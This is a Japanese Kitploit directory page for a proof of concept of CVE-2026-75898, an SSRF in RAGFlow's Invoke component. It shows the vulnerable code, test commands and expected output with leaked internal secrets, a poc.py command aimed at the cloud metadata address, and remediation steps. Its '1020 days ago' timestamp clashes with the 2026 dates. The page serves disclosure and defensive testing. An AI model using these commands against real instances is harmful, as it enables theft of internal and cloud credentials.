Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-75898 — CVE-2026-75898の概念実証。RAGFlowのInvokeコンポーネントにおけるSSRFです。未改変のソースで脆弱性を実証し、E2Eテスト、修正比較、Dockerベースの再現手順を含みます。認可されたセキュリティテストを目的としています。 | Kitploit
ツール/GitHubGitHub/t3bik/cve-2026-75898
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHubt3bik/cve-2026-75898

CVE-2026-75898

CVE-2026-75898の概念実証。RAGFlowのInvokeコンポーネントにおけるSSRFです。未改変のソースで脆弱性を実証し、E2Eテスト、修正比較、Dockerベースの再現手順を含みます。認可されたセキュリティテストを目的としています。

リポジトリを見る
1020日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-75898 — RAGFlow InvokeコンポーネントのSSRF

RAGFlowのエージェントワークフロー「Invoke」コンポーネントにおけるサーバーサイドリクエストフォージェリ(CWE-918)、0.26.3より前のバージョンが影響を受けます。

CVECVE-2026-75898
CVSS8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N)
修正バージョンv0.26.3
修正コミットc4fe68e, e16d1a0
関連Issueinfiniflow/ragflow#15425, #18280
アドバイザリVulnCheck

根本原因

v0.26.2のagent/component/invoke.pyにおいて、Invokeコンポーネントはユーザーが指定した変数テンプレートからリクエストURLを構築し、解決されたホストに対する検証を一切行いません:

root@kitploit:~
def _build_url(self, kwargs: dict) -> str:
    url = self._resolve_template_text(self._param.url.strip(), kwargs)
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url

このURLは_send_request()内のrequests.get/post/putに渡されます。allow_redirectsがrequestsのデフォルト(True)のままであるため、攻撃者は以下のことが可能です:

  1. Invokeのurlを内部アドレス(127.0.0.1、169.254.169.254、RFC1918レンジ。解決済みホストのピン留めは存在しません)に設定する、または
  2. 内部ネットワークへ302リダイレクトする攻撃者管理のホストを指定する。

修正ではassert_url_is_safe()とpin_dns()が追加され、allow_redirects=Falseが強制されます。

本物のソースコードであり、再実装ではない

「類似した」再実装とは異なり、このリポジトリは脆弱なコンポーネントの未修正のv0.26.2ソースコードを実行します:

  • target/invoke_v0.26.2.py — v0.26.2タグからのagent/component/invoke.pyをバイト単位で完全に一致させたもの。
  • e2e/test_genuine_ssrf.py — 薄いインポートスタブの背後でその実ファイルを読み込み(スタブは無関係なインポートのみを置き換えます:ComponentBase、timeoutデコレータ、HtmlParser — SSRFパスロジックには一切触れません)、コンポーネントが直接およびリダイレクトチェーン経由で内部サービスに到達することを証明します。
  • e2e/test_fix_guard.py — 同じファイルにアップストリームのガード(assert_url_is_safe、allow_redirects=False)を適用し、リクエストがブロックされることを示します。

再現性

3つの独立した方法で検証済みです:

  1. リポジトリ内E2E(RAGFlowインストール不要):e2e/test_genuine_ssrf.pyが未修正のtarget/invoke_v0.26.2.pyソースをループバックラボサーバーに対して実行 — SSRFを確認。
  2. 修正比較:e2e/test_fix_guard.pyが同じファイルにアップストリームのガードを適用 — ブロックされることを確認。
  3. 完全なDockerインスタンス:docker composeによるRAGFlow v0.26.2(infinity+mysql+minio+valkey)。実際のエージェントフロー内のInvokeノードが内部ホストのポートからINTERNAL-DB-SECRET:dbpassword=SuperSecret123を取得しました。逐語的な証拠はLAB_DEMO.mdを参照してください。

ローカルE2Eの実行

root@kitploit:~
cd e2e
python3 test_genuine_ssrf.py   # must print SSRF confirmed (vulnerable)
python3 test_fix_guard.py     # must print BLOCKED (fixed behavior)

期待される出力(脆弱な場合)

root@kitploit:~
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
    response: 'INTERNAL-SECRET-/internal/admin/reset'  (X-Internal header: true)
    [?] SSRF confirmed: internal service reached, secret leaked

[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
    final: 'INTERNAL-SECRET-/internal/redirected'
    [?] SSRF via redirect chain confirmed

稼働中のRAGFlowインスタンスの確認

認証済みセッショントークンが必要です(Invokeはエージェントフロー内で実行されます)。

root@kitploit:~
python3 poc.py --poc                                        # local E2E
python3 poc.py --check --target https://ragflow.example.com \
               --token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/

検出 / 修復

  • RAGFlowを0.26.3以上にアップグレードしてください。
  • エージェントのInvokeノードのURLテンプレートを許可リストに制限してください。
  • RAGFlowバックエンドから内部/クラウドメタデータレンジへのエグレスフィルタリングを実施してください。

開示

RAGFlow v0.26.3(2026年8月)で修正されました。このPoCは、認可されたセキュリティテストおよび教育のみを目的として、公開アドバイザリと修正コミットから独立して再構築されたものです。InfiniFlowとは提携関係にありません。

ツールをダウンロード